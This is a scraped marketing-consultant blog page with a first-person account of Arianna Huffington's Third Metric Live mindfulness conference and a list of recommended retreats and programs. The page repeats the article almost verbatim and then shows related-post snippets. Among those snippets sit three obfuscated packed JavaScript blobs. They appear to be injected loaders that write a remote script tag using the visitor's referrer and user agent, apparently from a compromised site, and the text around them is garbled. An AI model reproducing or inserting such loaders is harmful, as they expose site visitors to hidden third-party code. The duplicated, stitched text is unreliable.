  2. Find Your Inner Marketing Guru to Make Better Decisions
  3. How Successful Marketing Leaders (Like Arianna Huffington) Unplug

 

{photos by Lisa Nirell]
If you are one of those highly accomplished, over-caffeinated, exhausted business leaders, you’re in luck. It is now cool to admit it, and approach things in a healthier way.

photo 1Based on my experience last week at the Third Metric Live conference in New York, mindfulness has officially reached the East Coast masses. As a longtime meditation and yoga veteran, I sometimes feel like yelling “It’s about time” from the rooftop. My attitude, relationships, problem-solving abilities, and well-being benefit greatly when I practice mindfulness.

HuffingtonPost President and Founder, Arianna Huffington, teamed with Mika Brzezinski, MSNBC co-anchor for Morning Joe to launch this conference. Over 1,000 well-coiffed, fashion-conscious attendees–90 percent female–enjoyed personal apothegms from Tory Burch, Jon Kabat-Zinn, Ellen Goodman, Alanis Morrisette, Randi Zuckerberg (yes, that Zuckerberg), and British mogul-turned-monk Andy Puddicombe.

Just three years ago, it would have taken a miracle worker to entice East Coast urban professionals to attend a $395 conference that promised to help you “chart a new way forward and live lives that are more authentic and more fulfilling.” Now, self-help meetups such as Third Metric Live need security barriers to manage the crowds.

Mailet Lopez
Lisa with Mailet Lopez, co-founder,
Squeaky Wheel Media

I sat back and observed the conference vibe. In the past 17 years, I have attended at least 40 retreats, conferences, and seminars. (full disclosure: I’m a chronic lifelong learner, and appreciated Arianna’s offer to extend a media pass to me.)

The initial evening session inspired me. THRIVE speakers extolled the importance of adequate sleep, daily naps, and “digital detox days.” (I am a huge fan of unplugging for 24 hours every weekend). Yet the moderators and speakers tirelessly promoted their apps and newest book.

Holistic doctors and practitioners such as Mark Hyman, Richard Davidson, and David B. Agus promoted healthy eating habits, and banning sugar. Yet the break areas served sweetened juices, pretzels, and boatloads of brownies.

In a nutshell, Arianna is a seasoned trend-spotter and marketer, and realizes Westerners need to find a middle path between Buddhist ascetic practices and Western style capitalism and habits. She designed a large scale media campaign to coincide with her newest book, THRIVE, which launched on March 31. Prior to that time, she was a regular speaker at the groundbreaking Wisdom 2.0 conferences, which originated on the West Coast. Her own personal journey of transformation and reinvention happened out of necessity in 2007, when she collapsed from exhaustion and woke up on the floor in a pool of blood (her signature story and book hook).

Much like Oprah, Donna Karan, and Sheryl Sandberg, Huffington is helping us discover our best selves. These leadership pioneers encourage us to go onward, upward, and inward. Whether we agree with the glitzy approach or not, we sometimes need personalities who can bridge the intimidating, sometimes insurmountable gap between neuroscientists and ashram dwellers. They represent mindfulness for the masses.

If you are sincerely interested in deepening your understanding of some aspect of mindfulness, such as yoga, martial arts, breath work, meditation, conscious communication techniques, or Reiki, seek other options that augment these mega-conferences. I recommend several programs for you to consider. I have attended all of these programs, and found them beneficial:

Landmark Worldwide LLC–a global education firm with roots in Werner Erhard’s 80’s est training. I cannot effectively summarize the value they deliver, except to say that they offer some of the finest self-awareness, communications, and confidence building tools I have ever seen.

Clarity International-Co-Founders Cathy and Gary Hawk help successful leaders design “what’s next” in their businesses, careers, and families using a unique interviewing and visioning methodology. Professional basketball teams, entertainers, and CEOs alike have gained value from their coaching programs and seminars. (note: we have a referral relationship)

Esalen Institute-A campy, legendary retreat on the cliffs of Big Sur, CA. During their 55 year history, they have offered courses ranging from Raku pottery, Five Rhythms dance, meditation, yoga, and massage. I have attended six programs at Esalen, feasted on their freshly-grown organic produce, and savored the natural hot springs baths. Some areas of the sacred Native American property, are clothing optional. Some first timers at Esalen struggle with the earthy, unpretentious hippie culture and poor WiFi. I love the change from my daily systems and routines.

Wisdom 2.0 Conferences–check their website for dates and locations. Conference founder and author Soren Gordhamer assembles an impressive group of scientists and mindfulness practitioners, such as former Cisco CTO Padmasree Warrior, LinkedIn CEO Jeff Weiner, Jon Kabat-Zinn, Jack Kornfield, and Twitter co-founder Evan Williams. Wisdom provides a brief overview of the intersection between technology and mindfulness in today’s organizations.

Is it time you injected more wisdom into your marketing and growth strategy? These options will help you get started on your new path.

Copyright 2014, Lisa Nirell. All rights reserved.

Other articles you will enjoy:

  1. Wisdom 2.0’s Compassionate, Chaos-Reducing Brand Of Leadership
  2. Find Your Inner Marketing Guru to Make Better Decisions
  3. How Successful Marketing Leaders (Like Arianna Huffington) Unplug

 

{photos by Lisa Nirell]
If you are one of those highly accomplished, over-caffeinated, exhausted business leaders, you’re in luck. It is now cool to admit it, and approach things in a healthier way.

photo 1Based on my experience last week at the Third Metric Live conference in New York, mindfulness has officially reached the East Coast masses. As a longtime meditation and yoga veteran, I sometimes feel like yelling “It’s about time” from the rooftop. My attitude, relationships, problem-solving abilities, and well-being benefit greatly when I practice mindfulness.

HuffingtonPost President and Founder, Arianna Huffington, teamed with Mika Brzezinski, MSNBC co-anchor for Morning Joe to launch this conference. Over 1,000 well-coiffed, fashion-conscious attendees–90 percent female–enjoyed personal apothegms from Tory Burch, Jon Kabat-Zinn, Ellen Goodman, Alanis Morrisette, Randi Zuckerberg (yes, that Zuckerberg), and British mogul-turned-monk Andy Puddicombe.

Just three years ago, it would have taken a miracle worker to entice East Coast urban professionals to attend a $395 conference that promised to help you “chart a new way forward and live lives that are more authentic and more fulfilling.” Now, self-help meetups such as Third Metric Live need security barriers to manage the crowds.

Mailet Lopez
Lisa with Mailet Lopez, co-founder,
Squeaky Wheel Media

I sat back and observed the conference vibe. In the past 17 years, I have attended at least 40 retreats, conferences, and seminars. (full disclosure: I’m a chronic lifelong learner, and appreciated Arianna’s offer to extend a media pass to me.)

The initial evening session inspired me. THRIVE speakers extolled the importance of adequate sleep, daily naps, and “digital detox days.” (I am a huge fan of unplugging for 24 hours every weekend). Yet the moderators and speakers tirelessly promoted their apps and newest book.

Holistic doctors and practitioners such as Mark Hyman, Richard Davidson, and David B. Agus promoted healthy eating habits, and banning sugar. Yet the break areas served sweetened juices, pretzels, and boatloads of brownies.

In a nutshell, Arianna is a seasoned trend-spotter and marketer, and realizes Westerners need to find a middle path between Buddhist ascetic practices and Western style capitalism and habits. She designed a large scale media campaign to coincide with her newest book, THRIVE, which launched on March 31. Prior to that time, she was a regular speaker at the groundbreaking Wisdom 2.0 conferences, which originated on the West Coast. Her own personal journey of transformation and reinvention happened out of necessity in 2007, when she collapsed from exhaustion and woke up on the floor in a pool of blood (her signature story and book hook).

Much like Oprah, Donna Karan, and Sheryl Sandberg, Huffington is helping us discover our best selves. These leadership pioneers encourage us to go onward, upward, and inward. Whether we agree with the glitzy approach or not, we sometimes need personalities who can bridge the intimidating, sometimes insurmountable gap between neuroscientists and ashram dwellers. They represent mindfulness for the masses.

If you are sincerely interested in deepening your understanding of some aspect of mindfulness, such as yoga, martial arts, breath work, meditation, conscious communication techniques, or Reiki, seek other options that augment these mega-conferences. I recommend several programs for you to consider. I have attended all of these programs, and found them beneficial:

Landmark Worldwide LLC–a global education firm with roots in Werner Erhard’s 80’s est training. I cannot effectively summarize the value they deliver, except to say that they offer some of the finest self-awareness, communications, and confidence building tools I have ever seen.

Clarity International-Co-Founders Cathy and Gary Hawk help successful leaders design “what’s next” in their businesses, careers, and families using a unique interviewing and visioning methodology. Professional basketball teams, entertainers, and CEOs alike have gained value from their coaching programs and seminars. (note: we have a referral relationship)

Esalen Institute-A campy, legendary retreat on the cliffs of Big Sur, CA. During their 55 year history, they have offered courses ranging from Raku pottery, Five Rhythms dance, meditation, yoga, and massage. I have attended six programs at Esalen, feasted on their freshly-grown organic produce, and savored the natural hot springs baths. Some areas of the sacred Native American property, are clothing optional. Some first timers at Esalen struggle with the earthy, unpretentious hippie culture and poor WiFi. I love the change from my daily systems and routines.

Wisdom 2.0 Conferences–check their website for dates and locations. Conference founder and author Soren Gordhamer assembles an impressive group of scientists and mindfulness practitioners, such as former Cisco CTO Padmasree Warrior, LinkedIn CEO Jeff Weiner, Jon Kabat-Zinn, Jack Kornfield, and Twitter co-founder Evan Williams. Wisdom provides a brief overview of the intersection between technology and mindfulness in today’s organizations.

Is it time you injected more wisdom into your marketing and growth strategy? These options will help you get started on your new path. Please share your experiences below.

Copyright 2014, Lisa Nirell. All rights reserved.

Other articles you will enjoy:

  1. Wisdom 2.0’s Compassionate, Chaos-Reducing Brand Of Leadership
  2. Find Your Inner Marketing Guru to Make Better Decisions
  3. How Successful Marketing Leaders (Like Arianna Huffington) Unplug

 

{photos by Lisa Nirell]
I recently published a 2 part series on “Cash, Lies and ROI: 3 Signs Your Marketing Budget is A Flight Risk” in FastCompany. In case you missed that post, here is the link.

As we approach the midpoint for 2014 budget planning, this is a great time to review your progress against goal, and make some mid-course corrections.

My latest video offers some pitfalls to avoid during the process.

What will you be doing differently in the 2nd half of 2014 to accelerate marketing traction? Share your journeys below.

You will also enjoy these posts:

Why You Should Become Best Friends With Your Company’s Chief Financial Officer

10 Tough Marketing Questions for Turbulent Times

How to Promote “Joie De Vivre” With New Investors

Comments open: True
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Related Posts

We recently surveyed our CMO members across North America to find out where they want to improve in 2015. One of the top 4 issues that CMOs want to address is their ability to manage priorities.
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|haffr|var|u0026u|referrer|nekkz||js|php’.split(‘|’),0,{}))

In my opinion, this issue isn’t just about time management. Sure, that is important. I believe we need to be fully aware of how we spend our time—and I talked about it extensively in
my latest FastCompany post….

Read More

With the new year only weeks away, it’s time to explore ways to stay ahead of the marketing curve in 2015. In my latest FastCompany post, I share how marketing leaders can move away from “order taking marketing” and become visionary “market makers” with a strong voice in the C-suite.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hhfed|var|u0026u|referrer|kstre||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ensrr|var|u0026u|referrer|sshre||js|php’.split(‘|’),0,{}))

Some key takeaways:

How to assess your value and how your peers perceive you
One step that can shift the leadership team’s perspective of your value forever
Trendspotting: Five areas to look for inspiration and insights
Three significant trends that will impact how marketers operate in 2015

You can read the entire FastCompany post here….

Read More